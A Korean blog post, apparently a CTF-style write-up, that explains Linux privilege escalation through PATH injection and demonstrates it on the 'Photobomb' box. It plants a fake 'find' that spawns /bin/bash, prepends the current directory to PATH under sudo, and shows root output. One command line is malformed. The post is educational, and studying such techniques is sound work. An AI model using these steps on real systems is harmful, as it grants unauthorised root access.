일반적으로 쉘을 따게 되면 ROOT 권한이 아니다.
그래서 이런저런 제약이 많기 때문에 ROOT 권한이나 상위 권한이 필요한 경우가 있다.
권한상승 취약점 중 하나인 Path Injection을 알아보자
Privilige escalation?
권한 상승(Privilige escalation)은 운영 체제나 소프트웨어 애플리케이션의 버그, 설계 및 구성 결함등을 악용하여 높은 엑세스 권한을 얻는 행위입니다.
권한 상승에는 두 가지의 형태로 발생합니다.
- 수직적 권한 상승
- 수평적 권한 상승
Vertical privilege escalation
수직적 권한상승(Vertical privilege escalation)은 낮은 권한의 사용자가 높은 권한을 이용하는 행위 입니다. ex) 일반 사용자 -> 관리자 권한을 필요한 결재등을 이용 가능 할때
Horizontal privilege escalation
수평적 권한상승(Horizontal privilege escalation)은 동등한 권한을 이용하는 행위 입니다. ex) 내 정보 보기 > 타 사용자 정보 보기가 가능할 때
Linux Privilige escalation
일반적으로 서버의 쉘을 획득하였을 때 루트 쉘이 아니기 때문에 이런저런 제약이 존재하며 루트나 상위 권한의 쉘이 필요한 경우가 있습니다. 이때 권한상승 취약점을 이용하여 루트 나 상위 권한의 쉘을 획득할 수 있습니다. Linux Privilege Escalation에서 여러가지 리눅스 권한 상승에 대해 설명이 되어있습니다.
해당 블로그는 Linux Path Injection을 통한 권한상승을 소개하는 글입니다.
Linux Path Injection
Linux Path Injection은 리눅스의 환경변수 $PATH를 이용하여 권한 상승 시키는 방법입니다.
권한 상승을 하기 위해선 아래와 같은 조건이 필요합니다.
seuid
,setgid
가 설정되어 있는 파일 or 상위 권한으로 실행되고 있는 파일- 해당 파일에서 명령어가
relative path
로 실행되어야 함
SetUID & SetGID
리눅스에서 파일을 실행할 때 파일을 실행한 사용자(그룹)가 주체가 되어 프로세스를 실행합니다. 하지만 setuid
, setgid
가 설정되어 있는 파일을 실행한다면 파일을 소유하고 있는 소유자의 권한으로 프로세스를 실행합니다. ls -al
명령어로 확인을 하면 setuid
, setgid
가 설정되어 있는 파일은 s or S
가 표시되어 있습니다.
Relative Path & Absolute Path
리눅스에서 파일의 경로를 나타내는 방법은 두 가지가 존재합니다.
Relative Path(상대 경로)
상대 경로
는 현재 작업 디렉토리를 기준으로 파일 또는 폴더의 위치를 설명하는 경로입니다.Absolute Path(절대 경로)
절대 경로
는 루트 디렉토리(/)를 기준으로 파일 또는 폴더의 위치를 설명하는 경로입니다.
Environment Variable
환경 변수는 프로세스가 컴퓨터에서 동작하는 방식에 영향을 미치는, 동적인 값들의 모임입니다.
리눅스에서 환경변수 관련 명령어는 아래와 같습니다.
1
2
3
4
5
6
7
8
9
10
11
#환경변수 저장
export [환경변수명] = [값]
#환경변수 출력
env 명령어
#환경변수들의 경로인 path를 출력하는 명령어
echo $PATH
#환경변수 해제
unset [환경변수명]
여기서 중요한 점은 리눅스에서 사용하는 명령어도 일종의 실행파일이라는 점 입니다. 즉 명령어 입력시 환경변수 PATH를 토대로(맨앞부터 읽음) 파일이 실행됩니다.
Privilige escalation
본론으로 돌아가서 Photobomb에서 Privilige escalation이 되는 이유에 대하여 다시 알아보자
- cleanup.sh
루트 권한
으로 실행된다. - cleanup.sh는 find 명령어를 사용하며 find 명령어는
Relatve Path
를 사용한다.
1
2
3
4
5
6
7
8
9
10
11
12
wizard@photobomb:~$ echo "/bin/bash" > find
//현재 디렉토리에 find 파일을 만듬
wizard@photobomb:~$ chmod +x find
//find에 실행권한 부여
wizard@photobomb:~$ echo "sudo PATH=$PWD:$PATH /opt/cleanup.sh
//기존 환경변수에 $PWD 추가함
//find 함수는 상대경로를 이용하여 파일을 찾는데 환경변수 PWD등록하므로 현재 디렉토리에 find 파일이 먼저 실행되므로 /bin/bash가 실행되어 권한상승이 일어남
wizard@photobomb:~$ id
id uid=0(root) gid=0(root) groups=0(root)
다시 말하면 아래와 같습니다.
- 현재 경로에 find 라는 파일을 새로 만들어
/bin/bash
쉘을 사용하도록 함 + 실행권한 추가 - 환경 변수에
$PWD
를 저장하여 가장먼저 현재 경로를 참조하도록 만듬 - cleanup.sh가 실행될때
find
명령어가 실행되야하는데 환경 변수가 현재 경로에 있는 파일을 제일먼저 참조하므로 현재 경로에 있는 find 파일이 제일 먼저 실행됨 - Privilige escalation